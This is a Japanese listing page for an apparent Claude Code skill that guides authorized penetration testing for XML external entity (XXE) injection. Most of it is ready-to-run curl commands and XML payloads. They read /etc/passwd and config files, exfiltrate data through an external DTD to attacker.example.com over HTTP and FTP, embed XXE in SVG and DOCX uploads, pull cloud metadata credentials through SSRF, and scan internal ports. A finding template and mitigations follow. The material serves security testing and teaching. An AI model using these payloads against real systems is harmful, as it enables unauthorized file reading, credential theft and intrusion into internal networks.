mcpField
T
testing-for-xxe-injection-vulnerabilities

testing-for-xxe-injection-vulnerabilities

github.com/mukul975セキュリティ35.2k315 回インストール8 週間前に更新
リポジトリ

testing-for-xxe-injection-vulnerabilities について

XMLを処理するアプリケーションのXXEリスクを調べる、許可されたペネトレーションテスト向けのスキルです。ブラインドXXE、ファイルアップロード、XXEによるSSRFの検証と報告を扱います。

主な機能

  1. 01XML処理エンドポイントの特定
  2. 02ファイル読み取りとブラインドXXEの検証
  3. 03XMLファイルアップロードの解析確認
  4. 04XXEによるSSRFの確認
  5. 05脆弱性所見の記録

活用シーン

  1. 01XMLを受け付けるSOAPサービスの評価
  2. 02SVGやDOCXのアップロード解析の検証
  3. 03APIがXMLリクエストを受け付けるか確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-for-xxe-injection-vulnerabilities

インストール後、Claude Code で/testing-for-xxe-injection-vulnerabilitiesを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
references/
api-reference.md
scripts/
agent.py

詳細

XXE インジェクションの脆弱性をテストする

使用する場面

  • アプリケーションが XML 入力(SOAP API、ファイルアップロード、RSS フィード)を処理する場合の、許可を得たペネトレーションテスト中
  • Content-Type: application/xml または text/xml を受け付ける API のテスト時
  • ファイルアップロード機能(DOCX、XLSX、SVG、PDF)の XML パーサーを評価する場合
  • SOAP ベースの Web サービスでエンティティインジェクションを評価する場合
  • XML 設定を使用するエンタープライズアプリケーションのセキュリティ評価中

前提条件

  • 許可:対象に対する書面でのペネトレーションテスト契約
  • Burp Suite Professional:XML リクエストの傍受と変更に使用
  • XXEinjector:XXE の自動エクスプロイトツール(git clone https://github.com/enjoiz/XXEinjector.git)
  • アウトオブバンドサーバー:ブラインド XXE の検出に使用する Burp Collaborator または interactsh
  • curl:ペイロードの手動作成と送信に使用
  • Python:DTD ホスティングサーバーの構築に使用

ワークフロー

ステップ 1:XML 処理箇所を特定する

XML データを受け付ける、または処理するアプリケーションのすべてのエンドポイントを見つけます。

# Look for XML content types in Burp proxy history
# Filter for: Content-Type: application/xml, text/xml, application/soap+xml

# Test if JSON endpoints also accept XML
# Original JSON request:
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"search":"test"}' \
  "https://target.example.com/api/search"

# Try converting to XML:
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><root><search>test</search></root>' \
  "https://target.example.com/api/search"

# Check file upload endpoints for XML-based formats
# DOCX, XLSX, PPTX, SVG, PDF, XML, RSS, ATOM, SOAP
# These all contain XML that may be parsed server-side

# Check for SOAP endpoints
curl -s -X POST \
  -H "Content-Type: text/xml" \
  -H "SOAPAction: \"\"" \
  -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><test/></soap:Body></soap:Envelope>' \
  "https://target.example.com/ws/service"
ステップ 2:ファイル取得による基本的な XXE をテストする

XML エンティティを挿入し、サーバーからローカルファイルを読み取ります。

# Basic XXE payload to read /etc/passwd
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# Windows file read
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# Read application configuration files
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///var/www/html/config.php">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# PHP filter wrapper for base64 encoding (avoids XML parsing errors)
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"
ステップ 3:アウトオブバンド検出でブラインド XXE をテストする

エンティティ値がレスポンスに反映されない場合は、アウトオブバンドの手法を使用します。

# Blind XXE with HTTP callback (use Burp Collaborator or interactsh)
# Start interactsh: interactsh-client
# Use the generated domain: abc123.oast.fun

curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://abc123.oast.fun/xxe-test">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# Check interactsh/Collaborator for incoming DNS or HTTP requests

# Blind XXE with DNS exfiltration
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://xxe-confirmed.abc123.oast.fun">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# Blind XXE via parameter entities (when regular entities are blocked)
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://abc123.oast.fun/xxe-param">
  %xxe;
]>
<root><search>test</search></root>' \
  "https://target.example.com/api/search"
ステップ 4:アウトオブバンド XXE でデータを持ち出す

外部 DTD を使用して、HTTP リクエスト経由でファイルの内容を抽出します。

# Host a malicious DTD file on attacker server
# Create file: evil.dtd
cat > /tmp/evil.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.example.com/?data=%file;'>">
%eval;
%exfil;
EOF

# Host the DTD
cd /tmp && python3 -m http.server 8888 &

# Send the XXE payload referencing the external DTD
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % dtd SYSTEM "http://attacker.example.com:8888/evil.dtd">
  %dtd;
]>
<root><search>test</search></root>' \
  "https://target.example.com/api/search"

# For multi-line file exfiltration, use FTP protocol
# evil-ftp.dtd:
cat > /tmp/evil-ftp.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'ftp://attacker.example.com/%file;'>">
%eval;
%exfil;
EOF

# Use xxeserv or similar FTP listener to capture multi-line output
# python3 xxeserv.py --ftp --port 2121
ステップ 5:ファイルアップロード経由の XXE をテストする

ドキュメントアップロード機能で XML の解析をテストします。

# SVG file with XXE
cat > /tmp/xxe.svg << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <text x="0" y="20">&xxe;</text>
</svg>
EOF

# Upload the SVG
curl -s -X POST \
  -F "file=@/tmp/xxe.svg;type=image/svg+xml" \
  -b "session=abc123" \
  "https://target.example.com/api/upload/avatar"

# DOCX file with XXE (DOCX is a ZIP containing XML files)
mkdir -p /tmp/xxe-docx
cd /tmp/xxe-docx
# Unzip a legitimate .docx file
unzip /tmp/template.docx -d /tmp/xxe-docx

# Inject XXE into [Content_Types].xml or document.xml
# Add DTD with external entity to document.xml
# Repackage: cd /tmp/xxe-docx && zip -r /tmp/malicious.docx *

# XLSX with XXE (same technique as DOCX)
# Inject into xl/sharedStrings.xml or [Content_Types].xml
ステップ 6:サーバーサイドリクエストフォージェリ(SSRF)につながる XXE をテストする

XXE を使用して、サーバーから内部サービスにリクエストを送信させます。

# SSRF via XXE to cloud metadata
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# Internal port scanning via XXE
for port in 22 80 443 3306 5432 6379 8080 8443 9200; do
  echo -n "Port $port: "
  curl -s -X POST --max-time 5 \
    -H "Content-Type: application/xml" \
    -d "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://127.0.0.1:$port/\">]><root><search>&xxe;</search></root>" \
    "https://target.example.com/api/search" | head -c 100
  echo
done

# Access internal services
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-admin.local:8080/admin">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

主要な概念

概念説明
XML 外部エンティティDTD で定義され、SYSTEM または PUBLIC キーワードを使って外部リソースを参照するエンティティ
DTD(文書型定義)エンティティ宣言を含む、XML ドキュメントの構造と使用可能な要素を定義するもの
内部エンティティDTD 内で値を直接指定して定義するエンティティ(<!ENTITY name "value">)
外部エンティティURI からコンテンツを読み込むエンティティ(<!ENTITY name SYSTEM "uri">)
パラメーターエンティティDTD 内で使用するエンティティ。% を前置します(<!ENTITY % name SYSTEM "uri">)
ブラインド XXEエンティティ値がレスポンスに反映されない XXE。データの持ち出しにはアウトオブバンド通信が必要です
Billion Laughs(DoS)再帰的なエンティティ展開により、メモリを指数関数的に消費させる攻撃
XXE から SSRF へXXE を使用して、サーバーから内部または外部のサービスに HTTP リクエストを送信させること

ツールとシステム

ツール用途
Burp Suite Professionalリクエストの傍受と変更、および OOB 検出のための Collaborator
XXEinjectorファイルの持ち出しや SSRF 機能を備えた、XXE の自動エクスプロイト
interactshブラインド XXE のコールバックを検出するためのアウトオブバンド通信サーバー
xxeservXXE によるデータ持ち出し用の専用 FTP/HTTP サーバー
OWASP ZAPアクティブスキャンモードでの XXE 自動スキャン
DTD-Finderエンティティインジェクションに使用する、サーバー上の DTD ファイルを検出

よくあるシナリオ

シナリオ 1:SOAP API によるファイル読み取り

SOAP Web サービスが、外部エンティティを無効化せずに XML 入力を処理します。SOAP 本文に SYSTEM エンティティを含む DTD を挿入すると、/etc/passwd を読み取り、SOAP レスポンスで返します。

シナリオ 2:SVG アップロードによるブラインド XXE

画像アップロード機能が SVG ファイルを受け付けます。サムネイル生成のため、SVG はサーバー側で解析されます。SVG にブラインド XXE ペイロードを使用すると、アウトオブバンド HTTP リクエスト経由でサーバーのファイルが持ち出されます。

シナリオ 3:JSON から XML への Content-Type 切り替え

REST API は主に JSON を使用しますが、XML パーサーも有効になっています。Content-Type を application/xml に切り替え、XXE ペイロードを送信すると、API レスポンスを通じてサーバーのファイルが漏えいします。

シナリオ 4:DOCX 処理における XXE

履歴書のアップロード機能で DOCX ファイルを処理します。DOCX アーカイブ内の [Content_Types].xml ファイルに XXE を挿入すると、サーバー側でドキュメントが解析される際にファイルが読み込まれます。

出力形式

## XXE Injection Finding

**Vulnerability**: XML External Entity (XXE) Injection
**Severity**: Critical (CVSS 9.1)
**Location**: POST /api/search (Content-Type: application/xml)
**OWASP Category**: A05:2021 - Security Misconfiguration

### Reproduction Steps
1. Send POST request to /api/search with Content-Type: application/xml
2. Include DTD with external entity: <!ENTITY xxe SYSTEM "file:///etc/passwd">
3. Reference entity in XML body: <search>&xxe;</search>
4. Server returns file contents in the response

### Confirmed Impact
- Local file read: /etc/passwd, /etc/hostname, application config files
- SSRF: Accessed AWS metadata at 169.254.169.254
- Internal network scanning: Identified internal services on ports 3306, 6379, 8080

### Files Retrieved
| File | Contents Summary |
|------|-----------------|
| /etc/passwd | 42 user accounts, service accounts identified |
| /var/www/html/config.php | Database credentials in plaintext |
| /etc/hostname | Internal hostname: prod-web-01 |

### Recommendation
1. Disable external entity processing in the XML parser
2. Disable DTD processing entirely if not required
3. Use JSON instead of XML where possible
4. Implement input validation to reject DTD declarations in XML input
5. Apply least-privilege file system permissions for the web server user

コメント